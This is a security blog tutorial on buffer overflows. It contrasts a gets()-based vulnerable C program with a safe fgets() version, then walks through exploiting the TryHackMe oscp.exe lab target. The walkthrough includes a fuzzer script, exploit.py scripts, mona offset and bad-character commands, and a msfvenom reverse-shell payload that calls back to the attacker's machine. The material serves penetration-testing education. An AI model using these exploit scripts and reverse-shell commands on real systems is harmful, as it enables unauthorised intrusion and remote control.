Reverse EngineeringFebruary 3, 2023Buffer Overflow Basics

Buffer overflow is a vulnerability where a program tries to store more data in a buffer than it can hold, potentially overwriting important data or enabling an attacker to execute malicious code. While these attacks are becoming less common due to better security practices, understanding buffer overflows is still vital for beginners in cybersecurity. They can help one understand the importance of secure coding practices and the severity of vulnerabilities arising from poor user input handling.

What is Buffer? 

A buffer is a temporary storage area in computer memory that holds data. Its primary function is to reduce data loss and ensure that data is transmitted in the correct order. Buffers are commonly used to store input data from users, data that is being read from files, or data that is being transmitted over a network. 

Buffer Overflow 

Buffer overflow vulnerability occurs when software programs try to store more data in a buffer than they can handle, which overwrites the adjacent memory locations causing unpredictable behaviour and device vulnerabilities. This can allow attackers to execute malicious codes. Input validation failures, programming bugs and unexpected user inputs cause buffer overflows.  

One must have a fundamental understanding of computer memory to comprehend stack-based overflow attacks. Computer memory is a storage location for data and instructions, encompassing numeric values, characters, images, and any other data type. During the early years of computing, data and instructions were stored in the same memory due to high costs, preventing the wastage of memory resources.  

Information is usually kept in sequential areas called memory pages in a computer’s memory. These pages come in fixed sizes and contain a specific amount of data. When a program writes information to a buffer, it reserves a set number of pages to hold that data. The excess data will overwrite neighbouring pages if the program attempts to write more than the allotted pages can accommodate. This can corrupt other data and cause the program to malfunction or perform unexpectedly. 

Let us now look at an example code to view buffer overflow in real-time. The code snippet below has two header files, stdio.h and string.h. The stdio.h header file contains the input/output operation function and string.h header file contains functions for manipulating strings. In the primary process, we have declared the buffer variable with a size of 10 characters. The gets() function reads a line of text from the console and stores it in the buffer array.   

Now we can use C Compiler to run the code. 

As seen in the output below, our program is executed but displays an error of “stack smashing detected” when the input exceeds 10 characters. In the context of a buffer overflow, the program attempts to write more data to a buffer than it can hold. The excess data is overwriting to adjacent memory locations, including the stack. This could lead to buffer overflow vulnerability. 

#include <stdio.h>
#include <string.h> 

int main() { 

    char buffer[8];
    printf("Enter your name: ");
    gets(buffer); 
    printf("Hello, %s!\n", buffer); 
    return 0; 

} 

 

The fgets() function allows you to specify the maximum number of characters to read from the input stream, thus preventing buffer overflow vulnerabilities.  

We could use the ‘fgets’ function in our program to prevent issues. With the help of the ‘fgets’ function, we can restrict the string size of the input. To prevent buffer overflow attacks when using fgets(), it’s essential to ensure that the buffer passed to the function is large enough to hold the input data. 

#include <stdio.h> 
#include <string.h> 

int main() { 

    char buffer[8]; 
    printf("Enter your name: "); 
    fgets(buffer, sizeof(buffer), stdin); 
    printf("Hello, %s!\n", buffer); 
    return 0; 

} 

As we can see in the output below, the program is not terminated because of the fgets function, which prevents buffer overflow.

Types of Buffer Overflow

Let us now look at some types of buffer overflows:  

  • Stack-based buffer overflow: A stack-based buffer overflow denotes a security vulnerability where a cyber-attacker overloads a buffer residing on the stack, exploiting it to change the return address and execute arbitrary code.  
  • Heap-based buffer overflow: A heap-based buffer overflow happens when an attacker overflows a buffer on the heap. Such an attack can lead to exploiting a vulnerability of memory management, which then causes arbitrary executable code to run.  
  • Format string vulnerability: The format string vulnerability is seen when an attacker can manipulate a program that uses functions like printf with format string arguments. This leads to the overwriting of adjacent memory locations with arbitrary data.  
  • Integer overflow: An occurrence known as “Integer overflow” happens when a value that exceeds an integer’s data type capacity (8-bit to 64-bit) is assigned to it, causing buffer overflows and memory corruption.  
  • Off-by-one error: An Off-by-one error is a programming mistake that arises when a program allocates a buffer with a size that is one byte smaller than the actual data that needs to be written. This leads to data overflowing into adjacent memory locations, allowing attackers to execute malicious code. 

Exploitation 

To demonstrate the Buffer Overflow Vulnerability, we will use the tryhackme room: Buffer Overflow Prep.  

After a port scan with nmap, port 1337 was found to be open and vulnerable. We can use netcat to connect to that port.  

nc MACHINE_IP 1337  
  • For demonstration purposes, we will only be showing one instance (OVERFLOW 1); feel free to go ahead and try out all 10 instances. Let’s jump into the next step. 

To access the machine in the Tryhackme room, Tryhackme provided the following credentials to log on to the machine using RDP:  

Username: admin  

Password: password  

You can use any preferred tool to log in to the machine. Here we will be using remmina.   

After successfully login right-click the Immunity Debugger icon on the Desktop and choose “Run as administrator.”  

Immunity Debugger is a popular debugger for Windows that can be used for analyzing buffer overflow vulnerabilities and exploits. When using Immunity Debugger to analyze buffer overflow vulnerabilities, one of the key features is the ability to set breakpoints and examine the state of memory at various points in the program execution. This can help identify where the overflow occurs in the code and what data is being overwritten.  

 The main window of Immunity Debugger is divided into four panels:  

  • Disassembly Panel: This panel shows the disassembled code of the program, which can help identify the location of the vulnerability and the path of execution leading up to it.  
  • Registers Panel: This panel shows the state of the processor registers, which can help identify how the program uses memory and where a buffer overflow may occur.  
  • Memory Dump Panel: This panel shows a hex dump of the program’s memory, which can help examine the overflow buffer’s contents.  
  • Stack Panel: This panel shows the contents of the program’s stack, including any buffer, overflows that may have occurred. It can also help identify the return address that an attacker may be trying to overwrite.  

The oscp.exe executable binaries are vulnerable to simple stack-based buffer overflows, where a custom-written “oscp” binary has been created with ten different buffer overflows. Each overflow has a distinct EIP offset and a predefined set of bad characters.  

To open the “oscp.exe” binary file in Immunity Debugger, you should click on the open file icon or go to the “File” menu and choose “Open.” After that, access the “vulnerable-apps” folder, the folder located on the desktop of the admin user, and then the “oscp” folder. Finally, select the “oscp” binary file and click the “Open” button.  

To Start the binary, click on the red start button. 

Fuzzing can be used to generate a large number of inputs that exceed the length of the buffer and trigger an overflow. This can help identify the exact point in the program where the overflow occurs and the data that is being overwritten.  

On your Kali machine, create a file named fuzzer.py and insert the content given below into it. This code is used for the fuzzing into the binary. 

#!/usr/bin/env python3 

import socket, time, sys 

ip = "10.10.244.233" 
port = 1337 
timeout = 5 
prefix = "OVERFLOW1 " 
string = prefix + "A" * 100 

while True: 
  try: 
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 
      s.settimeout(timeout) 
      s.connect((ip, port)) 
      s.recv(1024) 
      print("Fuzzing with {} bytes".format(len(string) - len(prefix))) 
      s.send(bytes(string, "latin-1")) 
      s.recv(1024) 
  except: 
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) 
    sys.exit(0) 
  string += 100 * "A" 
  time.sleep(1) 

Let us now run the fuzzing script with python3 

python3 fuzzer.py 

After running the fuzzing script, the program crashes at 2000 bytes.  

We will now generate a cyclic pattern of random bytes that is 400 bytes longer than the string that crashed the server from the Metasploit framework to minimize the error. We have generated this to find the offset variable.  

An offset refers to the distance between the beginning of a buffer and the location of a specific data element within that buffer. It means a program attempts to write more data to a buffer than it can hold. If an attacker can control the data written beyond the buffer’s end, they can overwrite data in adjacent memory, such as the program’s return address or other important information. By manipulating the offset of the data they provide, an attacker can control which memory locations are overwritten and potentially gain unauthorized access or execute arbitrary code. 

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400 

To resume the process in Immunity Debugger on the RDP connection, we need to reopen the oscp.exe as done previously and use the same method. Then, click on the red play icon to start the process. Make sure to perform this action each time you want to run the exploit.py file, which you will need to run multiple times with incremental modifications.  

Insert the above-generated payload into the payload value of the code exploit.py shown below and run it. 

import socket 

ip = "10.10.244.233" 
port = 1337 
prefix = "OVERFLOW1 " 
offset = 0 
overflow = "A" * offset 
retn = "" 
padding = "" 
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1A..." 
postfix = "" 
buffer = prefix + overflow + retn + padding + payload + postfix 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

try: 
  s.connect((ip, port)) 
  print("Sending evil buffer...") 
  s.send(bytes(buffer + "\r\n", "latin-1")) 
  print("Done!") 
except: 
  print("Could not connect.") 

ESP (Extended Stack Pointer) is a 32-bit register that indicates the topmost location of the stack in memory during program execution. The stack is an area in memory utilized for temporarily storing data and addresses. The ESP register is applied to insert and eliminate elements from the stack, and since the stack memory grows in a downward direction, the ESP register starts with a higher memory address and is decremented each time data is added to the stack  

EBP (Extended Base Pointer) is a 32-bit register that is a reference for accessing local variables and parameters on the stack in functions. It is a primary access point for the current function’s stack frame. This frame contains essential elements like the function’s parameters, return address, and local variables. Typically, the EBP register is set at the start of a function and utilized to access local data and function parameters.  

EIP (Extended Instruction Pointer) is a register consisting of 32 bits, which holds the memory address where the instruction being executed by the processor is currently located. The processor itself automatically updates the EIP register as instructions are executed. This makes it possible for the program to execute its instructions sequentially. 

In this diagram, the ESP register points to the top of the stack, which grows downward in memory. The EBP register serves as a base pointer for accessing the current function’s stack frame, while the EIP register contains the memory address of the currently executed instruction.  

To control the EIP, an attacker needs to determine the exact offset at which the buffer overflow occurs and the exact location in memory where they can place their malicious code. We can use the mona python script to find the offset variable. 

Mona Configuration 

Mona is a Python script used with the Immunity Debugger for automating, identifying and exploiting buffer overflow vulnerabilities. 

  • Finding Bad Characters 
  • Finding Jump Pointers 
  • Generating Payloads 
  • Creating Exploits 

The mona script has been preinstalled on the Windows machine. If you want to install here is the link.  

Commands of mona: 

!mona config -set workingfolder c:\mona\%p 

The script causes the oscp.exe server to crash once again. Use Immunity Debugger to achieve this by running a mona command in the command input box at the bottom of the screen. Make sure to alter the distance to match the length of the previously generated pattern. 

!mona findmsp -distance 2400 

Buffer overflow vulnerabilities can be triggered by specific byte values known as “bad characters.” These values can potentially cause programs to behave unpredictably or even crash. Bad characters can include null bytes, newline characters, carriage returns, and other control characters. Their presence in a payload may interfere with its intended execution. 

  • Set the offset value to the EIP offset value in the exploit code. Set the retn value to 4 Bs(BBBB). 
  • Generate a bytearray using mona, and exclude the null byte (\x00) by default. 
!mona bytearray -b "\x00" 
  • Copy the generated bytearray to the payload value of the exploit code. 

The code will look similar to the code shown below. Restart oscp.exe in the Immunity debugger and run the modified exploit.py script again. 

import socket 

ip = "10.10.244.233" 
port = 1337 
prefix = "OVERFLOW1 " 
offset = 1978 
overflow = "A" * offset 
retn = "BBBB" 
padding = "" 

payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" 

postfix = "" 
buffer = prefix + overflow + retn + padding + payload + postfix 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   

try: 
  s.connect((ip, port)) 
  print("Sending evil buffer...") 
  s.send(bytes(buffer + "\r\n", "latin-1")) 
  print("Done!") 
except: 
  print("Could not connect.") 

Make a note of the address to which the ESP register points and use it in the following mona command: 

!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP address> 

All the characters in the payload need not necessarily be bad. Sometimes bad characters could cause the next byte to get corrupted or even affect the rest of the string. The first bad character in the list is the null byte (\x00), but we already removed it from the file. A simple way to locate badchars is to take the first bad character value and escape the second consecutive value. i.e., take\ x07 but escape the \x08 and do it for all like that. Repeat the bad character comparison until the results status returns “Unmodified.” This indicates that no more badchars exist.  

The initial character that should be avoided in the list is the null byte (\x00) because it has been removed from the file. Any other characters that need to be avoided should be marked. Create a new bytearray in mona that includes the newly marked characters and \x00. After that, modify the payload variable in your exploit.py script and eliminate its newly marked characters.  

Repeat comparing bad characters until the results indicate “Unmodified.” 

This signals that no additional bad characters remain. 

Making sure to update the -cpb option with all the badchars you identified (including \x00): 

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0" 

In buffer overflow, a “jump point” refers to a specific location within the program’s memory where an attacker can redirect the execution flow by overwriting the program’s return address on the stack.  

When a program executes a function, the location of the calling function is stored on the stack for the processor to refer back to upon completion of the called function. However, if an attacker can manipulate the return address by pointing it to a memory location under their control, they can reroute the program’s execution flow toward their corrupt code. 

To update your exploit.py script, select an address and assign it to the “retn” variable. However, ensure you write the address backwards since the system follows a little-endian format. So, for instance, if you are working with Immunity and the address is \x01\x02\x03\x04, write it as \x04\x03\x02\x01 in your exploit.  

Execute this msfvenom command on Kali, replacing the LHOST field with the IP address of your Kali VPN and updating the -b option with all the bad characters identified: 

msfvenom -p windows/shell_reverse_tcp LHOST=10.2.32.24 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c 

You will need to allocate some memory space to unpack a payload that was probably generated using an encoder. One way to do this is by assigning a value of 16 or more (\x90) bytes to the padding variable. 

padding = "\x90" * 16  

Integrate the shellcode strings generated into your exploit.py script’s payload variable by using the notation provided below in the code: 

import socket 

ip = "10.10.11.163" 
port = 1337 
prefix = "OVERFLOW1 " 
offset = 1978 
overflow = "A" * offset 
retn = "\xaf\x11\x50\x62" 
padding = "\x90" * 16 

payload = ("\xda\xc4\xd9\x74\x24\xf4\x5d\xbe\xab\x9d\xc3\x98\x33\xc9" 
"\xb1\x52\x31\x75\x17\x03\x75\x17\x83\x6e\x99\x21\x6d\x8c" 
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 
"\x48\xca\xa6\x63\xd5\x9f\x0a\xee\xe6\x4a\x48\x17\x65\x7e" 
"\x31\xec\x75\x0b\x34\xa8\x31\xe0\x44\xa1\xd7\x06\xfa\xc2" 
"\xfd") 

postfix = "" 
buffer = prefix + overflow + retn + padding + payload + postfix 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

try: 
  s.connect((ip, port)) 
  print("Sending evil buffer...") 
  s.send(bytes(buffer + "\r\n", "latin-1")) 
  print("Done!") 
except: 
  print("Could not connect.") 

Restart the ‘oscp.exe’ process in Immunity, then execute the modified ‘exploit.py’ script again. 

Open a Netcat listener on your Kali machine by utilizing the Local Port you had earlier defined in the msfvenom command, which should be set at 4444 unless you have made any modifications. 

Here we can see that the exploit has been successful, and we have a reverse shell through a buffer overflow. 

Detecting Buffer Vulnerability 

Buffer overflow vulnerabilities may be discovered by combining static and dynamic analysis methods. The program’s source code or compiled binary is analyzed for potential vulnerabilities when performing static analysis. On the other hand, dynamic analysis requires the program to be executed and its behaviour to be observed to identify signs of vulnerability exploitation. 

The identification of buffer overflow vulnerabilities can be achieved using various tools, such as fuzzers, debuggers, and memory analysis tools. Fuzzers create many test cases with random input data to explore vulnerabilities. Debuggers can help examine the program’s execution and analyze the state of the memory and registers at every stage. 

Prevention  

Preventing buffer overflow attacks can be accomplished by implementing secure coding practices, like validating user input, utilizing safe string manipulation functions, and accurately calculating buffer sizes. Additionally, implementing runtime protections such as data execution prevention (DEP), address space layout randomization (ASLR), stack canaries, and the heap can help secure your system against such attacks. 

By partnering with Redfox Security, you’ll get the best security and technical skills required to execute an effective and thorough penetration test. Our offensive security experts have years of experience assisting organizations in protecting their digital assets through penetration testing services. To schedule a call with one of our technical specialists, call 1-800-917-0850 now.

TL;DR: Walkthrough

Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. With a combination of data-driven, research-based, and manual testing methodologies, we proudly deliver robust security solutions.

“Join us on our journey of growth and development by signing up for our comprehensive courses.”

Gaurav Patil

by Gaurav Patil

Associate Security Consultant | Redfox Security